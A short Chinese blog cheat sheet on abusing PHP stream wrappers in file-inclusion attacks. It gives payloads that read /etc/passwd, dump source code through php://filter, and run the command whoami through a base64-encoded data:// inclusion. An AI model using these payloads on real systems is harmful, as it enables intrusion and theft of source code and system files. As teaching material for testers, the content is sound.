PHP文件包含-伪协议
| 伪协议 | 含义 |
|---|---|
| file:// | 访问本地文件系统 |
| php:// | 访问各个输入/输出流(I/O streams) |
| zlib:// | 压缩流 |
| data:// | 数据流 |
| glob:// | 查找匹配的文件路径模式 |
| phar:// | php 归档 |
| ssh2:// | Secure Shell 2 |
| rar:// | RAR |
| ogg:// | 音频流 |
php.ini 参数
- allow_url_fopen 默认为 On 允许url里封装协议访问文件
- allow_url_include 默认为 Off 不允许包含url 里的封装协议包含文件
各种伪协议的利用方法
- file:// 协议
file:///etc/passwd- php://filter
php://filter/read=convert.base64-encode/resource=index.php- php://data 【allow_url_include 设置为 On】

- zip:// 协议
zip://test.zip%23phpinfo.txt

- data:// 【allow_url_iclude 设置为 On】
data://text/plain,<?php phpinfo();?>data:text/plain,<?php phpinfo();?>data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==php://filter 其他过滤器
| 过滤器 | 作用 |
|---|---|
| string.rot13 | rot13编码 |
| string.toupper | 转大写字母 |
| string.tolower | 转小写字母 |
| string.strip_tags | 去除html标签 |
例子 :
php://filter/read=string.rot13/resource=index.php
PHP文件包含-伪协议
https://blog.lixey.top/PHP文件包含-伪协议/